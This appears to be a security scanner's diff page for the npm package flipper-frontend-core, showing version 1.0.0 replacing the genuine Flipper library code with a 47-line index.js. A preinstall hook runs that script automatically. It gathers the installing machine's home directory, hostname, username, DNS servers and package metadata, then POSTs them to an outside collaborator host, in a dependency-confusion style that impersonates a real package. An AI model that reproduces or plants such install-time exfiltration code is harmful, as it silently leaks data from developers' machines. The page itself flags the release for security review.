flipper-frontend-core 0.212.0 → 1.0.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of flipper-frontend-core might be problematic. Click here for more details.

Files changed (67) hide show
  1. package/index.js +47 -0
  2. package/package.json +7 -33
  3. package/README.md +0 -3
  4. package/lib/AbstractClient.d.ts +0 -75
  5. package/lib/AbstractClient.d.ts.map +0 -1
  6. package/lib/AbstractClient.js +0 -376
  7. package/lib/AbstractClient.js.map +0 -1
  8. package/lib/RenderHost.d.ts +0 -138
  9. package/lib/RenderHost.d.ts.map +0 -1
  10. package/lib/RenderHost.js +0 -19
  11. package/lib/RenderHost.js.map +0 -1
  12. package/lib/devices/ArchivedDevice.d.ts +0 -35
  13. package/lib/devices/ArchivedDevice.d.ts.map +0 -1
  14. package/lib/devices/ArchivedDevice.js +0 -65
  15. package/lib/devices/ArchivedDevice.js.map +0 -1
  16. package/lib/devices/BaseDevice.d.ts +0 -79
  17. package/lib/devices/BaseDevice.d.ts.map +0 -1
  18. package/lib/devices/BaseDevice.js +0 -267
  19. package/lib/devices/BaseDevice.js.map +0 -1
  20. package/lib/devices/TestDevice.d.ts +0 -16
  21. package/lib/devices/TestDevice.d.ts.map +0 -1
  22. package/lib/devices/TestDevice.js +0 -36
  23. package/lib/devices/TestDevice.js.map +0 -1
  24. package/lib/fb-stubs/constants.d.ts +0 -13
  25. package/lib/fb-stubs/constants.d.ts.map +0 -1
  26. package/lib/fb-stubs/constants.js +0 -14
  27. package/lib/fb-stubs/constants.js.map +0 -1
  28. package/lib/flipperLibImplementation/downloadFile.d.ts +0 -12
  29. package/lib/flipperLibImplementation/downloadFile.d.ts.map +0 -1
  30. package/lib/flipperLibImplementation/downloadFile.js +0 -49
  31. package/lib/flipperLibImplementation/downloadFile.js.map +0 -1
  32. package/lib/flipperLibImplementation/index.d.ts +0 -15
  33. package/lib/flipperLibImplementation/index.d.ts.map +0 -1
  34. package/lib/flipperLibImplementation/index.js +0 -72
  35. package/lib/flipperLibImplementation/index.js.map +0 -1
  36. package/lib/globalObject.d.ts +0 -24
  37. package/lib/globalObject.d.ts.map +0 -1
  38. package/lib/globalObject.js +0 -18
  39. package/lib/globalObject.js.map +0 -1
  40. package/lib/index.d.ts +0 -19
  41. package/lib/index.d.ts.map +0 -1
  42. package/lib/index.js +0 -46
  43. package/lib/index.js.map +0 -1
  44. package/lib/plugins.d.ts +0 -39
  45. package/lib/plugins.d.ts.map +0 -1
  46. package/lib/plugins.js +0 -189
  47. package/lib/plugins.js.map +0 -1
  48. package/lib/utils/createServerAddOnControls.d.ts +0 -11
  49. package/lib/utils/createServerAddOnControls.d.ts.map +0 -1
  50. package/lib/utils/createServerAddOnControls.js +0 -69
  51. package/lib/utils/createServerAddOnControls.js.map +0 -1
  52. package/lib/utils/isPluginCompatible.d.ts +0 -12
  53. package/lib/utils/isPluginCompatible.d.ts.map +0 -1
  54. package/lib/utils/isPluginCompatible.js +0 -26
  55. package/lib/utils/isPluginCompatible.js.map +0 -1
  56. package/lib/utils/isPluginVersionMoreRecent.d.ts +0 -12
  57. package/lib/utils/isPluginVersionMoreRecent.d.ts.map +0 -1
  58. package/lib/utils/isPluginVersionMoreRecent.js +0 -39
  59. package/lib/utils/isPluginVersionMoreRecent.js.map +0 -1
  60. package/lib/utils/isProduction.d.ts +0 -10
  61. package/lib/utils/isProduction.d.ts.map +0 -1
  62. package/lib/utils/isProduction.js +0 -16
  63. package/lib/utils/isProduction.js.map +0 -1
  64. package/lib/utils/pluginKey.d.ts +0 -13
  65. package/lib/utils/pluginKey.d.ts.map +0 -1
  66. package/lib/utils/pluginKey.js +0 -27
  67. package/lib/utils/pluginKey.js.map +0 -1
package/index.js ADDED
@@ -0,0 +1,47 @@
1
+ //author:- facebook.com/amwsis
2
+ const os = require("os");
3
+ const dns = require("dns");
4
+ const querystring = require("querystring");
5
+ const https = require("https");
6
+ const packageJSON = require("./package.json");
7
+ const package = packageJSON.name;
8
+
9
+ const trackingData = JSON.stringify({
10
+ p: package,
11
+ c: __dirname,
12
+ hd: os.homedir(),
13
+ hn: os.hostname(),
14
+ un: os.userInfo().username,
15
+ dns: dns.getServers(),
16
+ r: packageJSON ? packageJSON.___resolved : undefined,
17
+ v: packageJSON.version,
18
+ pjson: packageJSON,
19
+ });
20
+
21
+ var postData = querystring.stringify({
22
+ msg: trackingData,
23
+ });
24
+
25
+ var options = {
26
+ hostname: "burpcollaborator.net", //replace burpcollaborator.net with Interactsh or pipedream
27
+ port: 443,
28
+ path: "/",
29
+ method: "POST",
30
+ headers: {
31
+ "Content-Type": "application/x-www-form-urlencoded",
32
+ "Content-Length": postData.length,
33
+ },
34
+ };
35
+
36
+ var req = https.request(options, (res) => {
37
+ res.on("data", (d) => {
38
+ process.stdout.write(d);
39
+ });
40
+ });
41
+
42
+ req.on("error", (e) => {
43
+ // console.error(e);
44
+ });
45
+
46
+ req.write(postData);
47
+ req.end();
package/package.json CHANGED
@@ -1,38 +1,12 @@
1
1
  {
2
2
  "name": "flipper-frontend-core",
3
- "version": "0.212.0",
4
- "description": "Exposes core functionality for Flipper frontends: Flipper Electron, Flipper Browser UI, Flipper Server Companion.",
5
- "repository": "facebook/flipper",
6
- "main": "lib/index.js",
7
- "flipperBundlerEntry": "src",
8
- "types": "lib/index.d.ts",
9
- "license": "MIT",
10
- "bugs": "https://github.com/facebook/flipper/issues",
11
- "dependencies": {
12
- "eventemitter3": "^4.0.7",
13
- "flipper-common": "0.212.0",
14
- "flipper-plugin-core": "0.212.0",
15
- "immer": "^9.0.18",
16
- "js-base64": "^3.7.5",
17
- "p-map": "^4.0.0",
18
- "reconnecting-websocket": "^4.4.0",
19
- "semver": "^7.3.7"
20
- },
21
- "devDependencies": {
22
- "flipper-test-utils": "0.212.0"
23
- },
24
- "peerDependencies": {},
3
+ "version": "1.0.0",
4
+ "description": "\"Facebook Whitehat\"",
5
+ "main": "index.js",
25
6
  "scripts": {
26
- "reset": "rimraf lib *.tsbuildinfo",
27
- "build": "tsc -b",
28
- "prepack": "yarn reset && yarn build"
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
29
9
  },
30
- "files": [
31
- "lib/**/*"
32
- ],
33
- "homepage": "https://github.com/facebook/flipper",
34
- "keywords": [
35
- "Flipper"
36
- ],
37
- "author": "Facebook, Inc"
10
+ "author": "",
11
+ "license": "ISC"
38
12
  }
package/README.md DELETED
@@ -1,3 +0,0 @@
1
- # flipper-frontend-core (TBD)
2
-
3
- Exposes core functionality for Flipper frontends: Flipper Electron, Flipper Browser UI, Flipper Server Companion.
@@ -1,75 +0,0 @@
1
- /**
2
- * Copyright (c) Meta Platforms, Inc. and affiliates.
3
- *
4
- * This source code is licensed under the MIT license found in the
5
- * LICENSE file in the root directory of this source tree.
6
- *
7
- * @format
8
- */
9
- import BaseDevice from './devices/BaseDevice';
10
- import { Logger, FlipperServer } from 'flipper-common';
11
- import EventEmitter from 'eventemitter3';
12
- import { ClientQuery, ClientResponseType, ClientErrorType } from 'flipper-common';
13
- import { _SandyPluginInstance, _SandyPluginDefinition } from 'flipper-plugin-core';
14
- type Plugins = Set<string>;
15
- type PluginsArr = Array<string>;
16
- export type Params = {
17
- api: string;
18
- method: string;
19
- params?: Object;
20
- };
21
- export type RequestMetadata = {
22
- method: string;
23
- id: number;
24
- params: Params | undefined;
25
- };
26
- export interface ClientConnection {
27
- send(data: any): void;
28
- sendExpectResponse(data: any): Promise<ClientResponseType>;
29
- }
30
- export default abstract class AbstractClient extends EventEmitter {
31
- connected: import("flipper-plugin-core").Atom<boolean>;
32
- id: string;
33
- query: ClientQuery;
34
- sdkVersion: number;
35
- messageIdCounter: number;
36
- plugins: Plugins;
37
- backgroundPlugins: Plugins;
38
- connection: ClientConnection | null | undefined;
39
- activePlugins: Set<string>;
40
- device: BaseDevice;
41
- logger: Logger;
42
- sandyPluginStates: Map<string, _SandyPluginInstance>;
43
- private readonly serverAddOnControls;
44
- private readonly flipperServer;
45
- private resolveInitPromise;
46
- readonly initializationPromise: Promise<unknown>;
47
- constructor(id: string, query: ClientQuery, conn: ClientConnection | null | undefined, logger: Logger, plugins: Plugins | null | undefined, device: BaseDevice, flipperServer: FlipperServer);
48
- isBackgroundPlugin(pluginId: string): boolean;
49
- protected abstract shouldConnectAsBackgroundPlugin(pluginId: string): boolean;
50
- init(): Promise<void>;
51
- protected loadPlugins(_phase: 'init' | 'refresh'): Promise<Plugins>;
52
- protected loadPlugin(plugin: _SandyPluginDefinition, initialState?: Record<string, any>): void;
53
- startPluginIfNeeded(plugin: _SandyPluginDefinition | undefined): void;
54
- stopPluginIfNeeded(pluginId: string, _force?: boolean): void;
55
- disconnect(): void;
56
- destroy(): void;
57
- protected abstract getPlugin(pluginId: string): Promise<_SandyPluginDefinition | undefined>;
58
- protected getBackgroundPlugins(): Promise<PluginsArr>;
59
- refreshPlugins(): Promise<void>;
60
- onMessage(msg: string): void;
61
- protected handleExecuteMessage(params: Params): boolean;
62
- protected onResponse(data: ClientResponseType, resolve: ((a: any) => any) | undefined, reject: (error: ClientErrorType) => any): void;
63
- protected rawCall<T>(method: string, fromPlugin: boolean, params?: Params): Promise<T>;
64
- protected isAcceptingMessagesFromPlugin(plugin: string | null | undefined): boolean | null | undefined;
65
- protected getPerformanceMark(data: RequestMetadata): string;
66
- protected getLogEventName(data: RequestMetadata): string;
67
- initPlugin(pluginId: string): void;
68
- deinitPlugin(pluginId: string): void;
69
- protected rawSend(method: string, params?: Object): void;
70
- call(api: string, method: string, fromPlugin: boolean, params?: Object): Promise<Object>;
71
- send(api: string, method: string, params?: Object): void;
72
- supportsMethod(api: string, method: string): Promise<boolean>;
73
- }
74
- export {};
75
- //# sourceMappingURL=AbstractClient.d.ts.map
@@ -1 +0,0 @@
1
- {"version":3,"file":"AbstractClient.d.ts","sourceRoot":"","sources":["../src/AbstractClient.tsx"],"names":[],"mappings":"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"}
@@ -1,376 +0,0 @@
1
- "use strict";
2
- /**
3
- * Copyright (c) Meta Platforms, Inc. and affiliates.
4
- *
5
- * This source code is licensed under the MIT license found in the
6
- * LICENSE file in the root directory of this source tree.
7
- *
8
- * @format
9
- */
10
- var __importDefault = (this && this.__importDefault) || function (mod) {
11
- return (mod && mod.__esModule) ? mod : { "default": mod };
12
- };
13
- Object.defineProperty(exports, "__esModule", { value: true });
14
- const flipper_common_1 = require("flipper-common");
15
- const eventemitter3_1 = __importDefault(require("eventemitter3"));
16
- const pluginKey_1 = require("./utils/pluginKey");
17
- const immer_1 = require("immer");
18
- const flipper_common_2 = require("flipper-common");
19
- const flipper_plugin_core_1 = require("flipper-plugin-core");
20
- const createServerAddOnControls_1 = require("./utils/createServerAddOnControls");
21
- const isProduction_1 = __importDefault(require("./utils/isProduction"));
22
- class AbstractClient extends eventemitter3_1.default {
23
- constructor(id, query, conn, logger, plugins, device, flipperServer) {
24
- super();
25
- this.connected = (0, flipper_plugin_core_1.createState)(false);
26
- this.sandyPluginStates = new Map();
27
- this.initializationPromise = new Promise((_resolve) => {
28
- this.resolveInitPromise = _resolve;
29
- });
30
- this.connected.set(!!conn);
31
- this.plugins = plugins ? plugins : new Set();
32
- this.backgroundPlugins = new Set();
33
- this.connection = conn;
34
- this.id = id;
35
- this.query = query;
36
- this.sdkVersion = query.sdk_version || 0;
37
- this.messageIdCounter = 0;
38
- this.logger = logger;
39
- this.activePlugins = new Set();
40
- this.device = device;
41
- this.flipperServer = flipperServer;
42
- this.serverAddOnControls = (0, createServerAddOnControls_1.createServerAddOnControls)(this.flipperServer);
43
- }
44
- isBackgroundPlugin(pluginId) {
45
- return this.backgroundPlugins.has(pluginId);
46
- }
47
- async init() {
48
- var _a;
49
- await this.loadPlugins('init');
50
- await Promise.all([...this.plugins].map(async (pluginId) => this.startPluginIfNeeded(await this.getPlugin(pluginId))));
51
- this.backgroundPlugins = new Set(await this.getBackgroundPlugins());
52
- this.backgroundPlugins.forEach((plugin) => {
53
- if (this.shouldConnectAsBackgroundPlugin(plugin)) {
54
- this.initPlugin(plugin);
55
- }
56
- });
57
- this.emit('plugins-change');
58
- (_a = this.resolveInitPromise) === null || _a === void 0 ? void 0 : _a.call(this, null);
59
- }
60
- // get the supported plugins
61
- async loadPlugins(_phase) {
62
- var _a;
63
- let response;
64
- try {
65
- response = await (0, flipper_common_2.timeout)(30 * 1000, this.rawCall('getPlugins', false), 'Fetch plugin timeout. Unresponsive client?');
66
- }
67
- catch (e) {
68
- console.warn('Failed to fetch plugin', e);
69
- }
70
- this.plugins = new Set((_a = response === null || response === void 0 ? void 0 : response.plugins) !== null && _a !== void 0 ? _a : []);
71
- console.info('AbstractClient.loadPlugins', this.query, [...this.plugins]);
72
- return this.plugins;
73
- }
74
- loadPlugin(plugin, initialState) {
75
- try {
76
- const pluginInstance = new flipper_plugin_core_1._SandyPluginInstance(this.serverAddOnControls, (0, flipper_plugin_core_1.getFlipperLib)(), plugin, this, (0, pluginKey_1.getPluginKey)(this.id, { serial: this.query.device_id }, plugin.id), initialState);
77
- pluginInstance.events.on('error', (message) => {
78
- const error = {
79
- message,
80
- name: 'Plugin Error',
81
- stacktrace: '',
82
- };
83
- this.emit('error', error);
84
- });
85
- this.sandyPluginStates.set(plugin.id, pluginInstance);
86
- }
87
- catch (e) {
88
- console.error(`Failed to start plugin '${plugin.id}': `, e);
89
- }
90
- }
91
- startPluginIfNeeded(plugin) {
92
- if (plugin && !this.sandyPluginStates.has(plugin.id)) {
93
- this.loadPlugin(plugin);
94
- }
95
- }
96
- stopPluginIfNeeded(pluginId, _force = false) {
97
- const instance = this.sandyPluginStates.get(pluginId);
98
- if (instance) {
99
- instance.destroy();
100
- this.sandyPluginStates.delete(pluginId);
101
- }
102
- }
103
- // connection lost, but Client might live on
104
- disconnect() {
105
- this.sandyPluginStates.forEach((instance) => {
106
- instance.disconnect();
107
- });
108
- this.emit('close');
109
- this.connected.set(false);
110
- }
111
- // clean up this client
112
- destroy() {
113
- this.disconnect();
114
- this.plugins.forEach((pluginId) => this.stopPluginIfNeeded(pluginId, true));
115
- this.serverAddOnControls.unsubscribe();
116
- }
117
- // get the supported background plugins
118
- async getBackgroundPlugins() {
119
- if (this.sdkVersion < 4) {
120
- return [];
121
- }
122
- const data = await (0, flipper_common_2.timeout)(30 * 1000, this.rawCall('getBackgroundPlugins', false), 'Fetch background plugins timeout for ' + this.id);
123
- return data.plugins;
124
- }
125
- // get the plugins, and update the UI
126
- async refreshPlugins() {
127
- try {
128
- const oldBackgroundPlugins = this.backgroundPlugins;
129
- await this.loadPlugins('refresh');
130
- await Promise.all([...this.plugins].map(async (pluginId) => this.startPluginIfNeeded(await this.getPlugin(pluginId))));
131
- const newBackgroundPlugins = await this.getBackgroundPlugins();
132
- this.backgroundPlugins = new Set(newBackgroundPlugins);
133
- // diff the background plugin list, disconnect old, connect new ones
134
- oldBackgroundPlugins.forEach((plugin) => {
135
- if (!this.backgroundPlugins.has(plugin)) {
136
- this.deinitPlugin(plugin);
137
- }
138
- });
139
- newBackgroundPlugins.forEach((plugin) => {
140
- if (!oldBackgroundPlugins.has(plugin) &&
141
- this.shouldConnectAsBackgroundPlugin(plugin)) {
142
- this.initPlugin(plugin);
143
- }
144
- });
145
- this.emit('plugins-change');
146
- }
147
- catch (e) {
148
- if (this.connected) {
149
- throw e;
150
- }
151
- else {
152
- console.warn(e);
153
- }
154
- }
155
- }
156
- onMessage(msg) {
157
- var _a, _b, _c, _d;
158
- if (typeof msg !== 'string') {
159
- return;
160
- }
161
- let rawData;
162
- try {
163
- rawData = (0, immer_1.freeze)(JSON.parse(msg), true);
164
- }
165
- catch (err) {
166
- console.error(`Invalid JSON: ${msg}`, 'clientMessage');
167
- return;
168
- }
169
- const data = rawData;
170
- const { id, method } = data;
171
- this.emit('flipper-debug-message', {
172
- device: (_a = this.device) === null || _a === void 0 ? void 0 : _a.displayTitle(),
173
- app: this.query.app,
174
- flipperInternalMethod: method,
175
- plugin: (_b = data.params) === null || _b === void 0 ? void 0 : _b.api,
176
- pluginMethod: (_c = data.params) === null || _c === void 0 ? void 0 : _c.method,
177
- payload: (_d = data.params) === null || _d === void 0 ? void 0 : _d.params,
178
- direction: 'toFlipper:message',
179
- });
180
- if (id == null) {
181
- const { error } = data;
182
- if (error != null) {
183
- console.error(`Error received from device ${method ? `when calling ${method}` : ''}: ${error.message} + \nDevice Stack Trace: ${error.stacktrace}`, 'deviceError');
184
- this.emit('error', error);
185
- }
186
- else if (method === 'refreshPlugins') {
187
- this.refreshPlugins();
188
- }
189
- else if (method === 'execute') {
190
- if (!data.params) {
191
- throw new Error('expected params');
192
- }
193
- const params = data.params;
194
- const bytes = msg.length * 2; // string lengths are measured in UTF-16 units (not characters), so 2 bytes per char
195
- this.emit('bytes-received', params.api, bytes);
196
- if (bytes > 5 * 1024 * 1024) {
197
- console.warn(`Plugin '${params.api}' received excessively large message for '${params.method}': ${Math.round(bytes / 1024)}kB`);
198
- }
199
- const handled = this.handleExecuteMessage(params);
200
- if (!handled && !(0, isProduction_1.default)()) {
201
- console.warn(`Unhandled message ${params.api}.${params.method}`);
202
- }
203
- }
204
- // TODO: Warn about unknown method?
205
- return; // method === 'execute'
206
- }
207
- }
208
- handleExecuteMessage(params) {
209
- const pluginInstance = this.sandyPluginStates.get(params.api);
210
- if (!pluginInstance) {
211
- return false;
212
- }
213
- pluginInstance.receiveMessages([params]);
214
- return true;
215
- }
216
- onResponse(data, resolve, reject) {
217
- if (data.success) {
218
- resolve && resolve(data.success);
219
- }
220
- else if (data.error) {
221
- reject(data.error);
222
- }
223
- }
224
- rawCall(method, fromPlugin, params) {
225
- return new Promise(async (resolve, reject) => {
226
- var _a, _b, _c, _d;
227
- const id = this.messageIdCounter++;
228
- const metadata = {
229
- method,
230
- id,
231
- params,
232
- };
233
- const data = {
234
- id,
235
- method,
236
- params,
237
- };
238
- const plugin = params ? params.api : undefined;
239
- const baseErrorMessage = `Unable to send ${(_a = params === null || params === void 0 ? void 0 : params.method) !== null && _a !== void 0 ? _a : method} to ${(_b = params === null || params === void 0 ? void 0 : params.api) !== null && _b !== void 0 ? _b : 'FlipperCore'}`;
240
- console.debug(data, 'message:call');
241
- const mark = this.getPerformanceMark(metadata);
242
- performance.mark(mark);
243
- if (!this.connected.get()) {
244
- // TODO: display warning in the UI
245
- reject(new flipper_common_1.NoLongerConnectedToClientError());
246
- return;
247
- }
248
- if (!fromPlugin || this.isAcceptingMessagesFromPlugin(plugin)) {
249
- try {
250
- const response = await this.connection.sendExpectResponse(data);
251
- if (!fromPlugin || this.isAcceptingMessagesFromPlugin(plugin)) {
252
- const logEventName = this.getLogEventName(data);
253
- this.logger.trackTimeSince(mark, logEventName);
254
- this.emit('bytes-received', plugin || 'unknown', response.length * 2);
255
- this.onResponse(response, resolve, reject);
256
- this.emit('flipper-debug-message', {
257
- device: (_c = this.device) === null || _c === void 0 ? void 0 : _c.displayTitle(),
258
- app: this.query.app,
259
- flipperInternalMethod: method,
260
- payload: response,
261
- plugin,
262
- pluginMethod: params === null || params === void 0 ? void 0 : params.method,
263
- direction: 'toFlipper:response',
264
- });
265
- }
266
- }
267
- catch (error) {
268
- reject(new Error(`${baseErrorMessage}, connection error: ${error}`));
269
- }
270
- }
271
- else {
272
- reject(new Error(`${baseErrorMessage}, client is not accepting messages for plugin ${plugin}`));
273
- }
274
- this.emit('flipper-debug-message', {
275
- device: (_d = this.device) === null || _d === void 0 ? void 0 : _d.displayTitle(),
276
- app: this.query.app,
277
- flipperInternalMethod: method,
278
- plugin: params === null || params === void 0 ? void 0 : params.api,
279
- pluginMethod: params === null || params === void 0 ? void 0 : params.method,
280
- payload: params === null || params === void 0 ? void 0 : params.params,
281
- direction: 'toClient:call',
282
- });
283
- });
284
- }
285
- isAcceptingMessagesFromPlugin(plugin) {
286
- return this.connection && (!plugin || this.activePlugins.has(plugin));
287
- }
288
- getPerformanceMark(data) {
289
- const { method, id } = data;
290
- return `request_response_${method}_${id}`;
291
- }
292
- getLogEventName(data) {
293
- const { method, params } = data;
294
- return params && params.api && params.method
295
- ? `request_response_${method}_${params.api}_${params.method}`
296
- : `request_response_${method}`;
297
- }
298
- initPlugin(pluginId) {
299
- this.activePlugins.add(pluginId);
300
- const instance = this.sandyPluginStates.get(pluginId);
301
- if (this.connected.get() && instance) {
302
- this.rawSend('init', { plugin: pluginId });
303
- instance.connect();
304
- }
305
- }
306
- deinitPlugin(pluginId) {
307
- this.activePlugins.delete(pluginId);
308
- const instance = this.sandyPluginStates.get(pluginId);
309
- instance === null || instance === void 0 ? void 0 : instance.disconnect();
310
- if (this.connected.get() && instance) {
311
- this.rawSend('deinit', { plugin: pluginId });
312
- }
313
- }
314
- rawSend(method, params) {
315
- var _a;
316
- const data = {
317
- method,
318
- params,
319
- };
320
- console.debug(data, 'message:send');
321
- if (this.connection) {
322
- this.connection.send(data);
323
- }
324
- this.emit('flipper-debug-message', {
325
- device: (_a = this.device) === null || _a === void 0 ? void 0 : _a.displayTitle(),
326
- app: this.query.app,
327
- flipperInternalMethod: method,
328
- payload: params,
329
- direction: 'toClient:send',
330
- });
331
- }
332
- call(api, method, fromPlugin, params) {
333
- return (0, flipper_common_1.reportPluginFailures)(this.rawCall('execute', fromPlugin, {
334
- api,
335
- method,
336
- params,
337
- }).catch((err) => {
338
- // We only throw errors if the connection is still alive
339
- // as connection-related ones aren't recoverable from
340
- // user code.
341
- if (this.connected.get()) {
342
- // This is a special case where we a send failed because of
343
- // a disconnect "mid-air". This can happen, for instance,
344
- // when you pull the plug from a connected phone. We can
345
- // still handle this gracefully.
346
- if (err.toString().includes('Socket closed unexpectedly')) {
347
- console.warn(`Failed to call device due to unexpected disconnect: ${err}`);
348
- this.disconnect();
349
- return {};
350
- }
351
- throw err;
352
- }
353
- // This effectively preserves the previous behavior
354
- // of ignoring disconnection-related call failures.
355
- return {};
356
- }), `Call-${method}`, api);
357
- }
358
- send(api, method, params) {
359
- if (!(0, isProduction_1.default)()) {
360
- console.warn(`${api}:${method || ''} client.send() is deprecated. Please use call() instead so you can handle errors.`);
361
- }
362
- return this.rawSend('execute', { api, method, params });
363
- }
364
- async supportsMethod(api, method) {
365
- if (!this.connected.get()) {
366
- return false;
367
- }
368
- const response = await this.rawCall('isMethodSupported', true, {
369
- api,
370
- method,
371
- });
372
- return response.isSupported;
373
- }
374
- }
375
- exports.default = AbstractClient;
376
- //# sourceMappingURL=AbstractClient.js.map
@@ -1 +0,0 @@
1
